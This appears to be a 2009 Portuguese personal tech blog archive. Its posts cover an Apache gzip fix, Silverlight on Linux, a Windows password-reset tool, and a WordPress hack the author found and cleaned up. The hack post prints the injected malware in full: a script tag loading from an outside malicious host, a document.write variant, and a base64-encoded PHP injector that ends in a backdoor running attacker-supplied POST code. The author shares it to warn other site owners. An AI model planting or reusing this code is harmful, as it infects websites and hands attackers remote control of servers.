Para todos os que me lembrei e para todos os que me esqueci, Feliz Natal.
Deixem lá os shoppings e olhem para o que realmente tem valor.
Â
Mês: Dezembro 2009
Recuperar Password Windows
Já em tempos tinha aqui apontado aqui um programa para recuperar passwords de utilizador do Windows, e já na altura me tinham apontado o software que vou falar a seguir.
O programa chama-se “Offline NT Password & Registry Editor, Bootdisk / CD” e basicamente o que permite é fazer reset á password de qualquer utilizador do Windows. Permiite também editar o Registry.
O facto de ter trazido este programa de novo “á baila” é terem anunciado que o mesmo suporta Windows 7 e talvez Windows 2008 Server.
Citando o site do programa:
Tested on: NT 3.51, NT 4 (all versions and SPs), Windows 2000 (all versions & SPs), Windows XP (all versions, also SP2 and SP3), Windows Server 2003 (all SPs), Vindows Vista 32 and 64 bit (SP1 also), Window 7 (all variants). Some say also Windows Server 2008 is OK.
Link para “Offline NT Password & Registry Editor, Bootdisk / CD”.
Apache2 Activar compressão Gzip
Hoje tentei activar a compressão gzip num servidor e pura e simplemente não funcionava, acrescentei a linha
AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css text/javascript application/x-javascript
no .htaccess conforme tinha lido algures na internet, depois de testar e restestar, lembrei-me de ver no error.log do apache e tinha lá o seguinte erro que impedia que o gzip funcionasse:
an unknown filter was not added: DEFLATE
Para resolver esse erro basta simplesmente na linha de comandos correr o seguinte comando:
a2enmod deflate
E a seguir forçar o reload do apache que em debian é
/etc/init.d/apache2 force-reload
E ficou o gzip a funcionar correctamente.
Nota mental: antes de começar a googlar por um problema desconhecido, fazer tail aos logs.
Moonlight – SilverLight no Linux
A tecnologia SilverLight da Microsoft, concorrente do Adobe Flash tem agora suporte no Linux, através de um projecto dos criadores do Mono.
Creio que este é um passa importante para o crescimento desta plataforma de desenvolvimento, já li muitas comparações entre as duas plataformas, e pelo que vi a plataforma da Microsoft já tem muitos adeptos, e o grande impedimento para uma maior massificação era o facto de as aplicações feitas em SilverLight correrem apenas em Windows, já mexi por curiosidade no SilverLight e o que me encantou em relação ao Flash foi a simplicidade do IDE (Microsoft Expression) e a facilidade de como na primeira utilização consegui logo utilizar código e perceber a arquitectura de uma aplicação em SilverLight, já instalei em tempos um trial do Adobe Flash CS?? e não consegui fazer nada com aquilo, talvez isto se deva ao uso intensivo que tenho das ferramentas Microsoft, mas contudo gostei mais do SilverLight do que o Flash.
Claro que a opinião dos profissionais da área pode divergir da minha, já vi projectos em flash simplesmente excepcionais, mas também já vi desenhar a Mona Lisa no Paint, pelo que creio o que conta não é a ferramenta e a plataforma mas, mais do que tudo, o talento.
Já agora deixo aqui o link para um projecto OpenSource em SilverLight que me fascinou, queria colocar o link para a página do projecto no CodePlex mas:
Problema Resolvido
O problema que relatei aqui foi resolvido.
Não encontrei a causa por isso posso continuar á mercê dos hackaros, mas pelo menos para já os sites estão limpos (este blogue está alojado noutro provider e não foi afectado).
O processo de limpeza foi simples mas demorado, comecei por fazer download de todos os ficheiros que tinha na conta afectada, pagar numa instalação “virgem” do WordPress e copiar para cima dos ficheiros já existentes, de cada instalação que tenho do WordPress. Mesmo assim continuava a haver ficheiros infectados. Fiz uma pequena aplicação em C# que pesquisa recursivamente todos os ficheiros pelo código injectado e o apaga copiando para outro directorio os ficheiros “limpos”.
Se alguém padecer do mesmo mal, que esteja á vontade para me solicitar o código que usei para percorrer todos os ficheiros em todos os directórios e sub-directórios e encontrar os ficheiros afectados. Não disponibilizo aqui a aplicação porque está um bocado tosca, para a usar convém ler o código e ajustar á infecção que os ficheiros tiverem.
Aviso: Visitar este site poderá danificar o seu computador!
Embora o Chrome não seja o browser que uso no dia a dia, ganhou mais um ponto na minha consideração. É o browser que arranca mais rapidamente no meu pc, dai quando preciso se ir á net e não posso esperar que abra outro browser abra utilizo-o. Hoje ao abrir recebi um erro que está na imagem:
O Web site em antoniocampos.net contém elementos do site atelier43.pl, o qual parece alojar software maligno ““ ou seja, software que pode danificar o seu computador ou funcionar sem o seu consentimento. A mera visita a um site que contenha software maligno pode infectar o seu computador.
Para obter informações mais detalhadas sobre os problemas com estes elementos, visite a Página de diagnóstico Navegação segura no Google para atelier43.pl.
depois de olha para o código fonte vi que de alguma forma foi injectado código no ficheiro original, o código malicioso inserido foi o seguinte:
<script src=http://atelier43.pl/images/gifimg.php ></script>
Logo a seguir ao fecho da tag </head>, visitei outros dominios todos alojados no mesmo sitio e todos os dominios tinham o mesmo sintoma, depois de uma analise cuidada reparei que havia vários ficheiros infectados pela injecção, conforme a extenssão do ficheiro tinham código diferente.
Nos ficheiros de javascript (.js):
document.write(‘<script src=http://atelier43.pl/images/gifimg.php ><\/script>’);
Nos ficheiros html aparecia o código já descrito em cima e nos ficheiros .php o seguinte código:
<?php eval(base64_decode(‘aWYoIWZ1bmN0aW9uX2V4aXN0cygncHEzazcnKSl7ZnVuY3Rpb24gcHEzazcoJHMpe2lmKH
ByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWF
jaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRj
aCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF
0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFx
iIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2
RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRja
F9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXM
nLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcmVnX21hdGNoKCcjW1wuIF13aWR0aF
xzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc
3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycp
LicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlK
CdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMkYwWld4cFpYSTBNeTV3YkM5cGJXRm5aW
E12WjJsbWFXMW5MbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCR
zLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHM
sMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24
gcHEzazcyKCRhLCRiLCRjLCRkKXtnbG9iYWwkcHEzazcxOyRzPWFycmF5KCk7aWYoZnVuY3R
pb25fZXhpc3RzKCRwcTNrNzEpKWNhbGxfdXNlcl9mdW5jKCRwcTNrNzEsJGEsJGIsJGMsJGQ
pO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J3B
xM2s3JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1h
cnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bn
QoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9
jbGVhbigpO31vYl9zdGFydCgncHEzazcnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2J
fc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kcHEzazdsPSgoJGE9QHNldF9lcnJ
vcl9oYW5kbGVyKCdwcTNrNzInKSkhPSdwcTNrNzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY2
9kZSgkX1BPU1RbJ2UnXSkpOw==’)); ?>
Este é o código responsavel por infectar os ficheiros se fizerem um base64_decode e analisarem o código aparece a forma como os ficheiros foram infectados, mas não explica como o código “entrou” pela primeira vez.
Além das infecções referidas foram craidos vários ficheiros, com vários nomes que aguardam o POST código php e o executam no servidor, deixando assim todos os ficheiros a que o utilizador que está a correr o site vulneraveis.
Depois de várias pesquisas no Google tudo aponta para uma falha no WordPress embora não tenha descoberto em que versão, penso que deverá ser na 2.8.6 pois nessa conta de alojamento tenho 3 instalações de wordpress todas actualizadas para a 2.8.6. Segundo a sabedoria do Google não fui o primeiro a ser infectado por esta praga, embora dos artigos que encontrei no google não sejam os mesmos, a infecção e a presença de código malicioso é semelhante á que me aconteceu.
Por isso aconselho todos os que tem sites em WordPress que verifiquem se estão infectados.
Estou a descarregar todos os ficheiros que tenho alojados neste servidor para analisar mais atentamente o que aconteceu, creio que não vou chegar a nenhuma conclusão de como fui infectado uma vez que não tenho acesso aos logs do apache, mas no minimo vou ter que limpar todos os ficheiros.
Uma das soluções seria apagar todos os ficheiros da instalação e colar uma versão nova de todos os ficheiros, mas isso fará com que todas as costumizações de temas e plugins se percam, e obrigaria á instalação de todos os plugins novamente.
Mal haja desolvimentos sobre a solução (pelo menos da limpeza dos ficheiros) crio um novo post com os mesmos.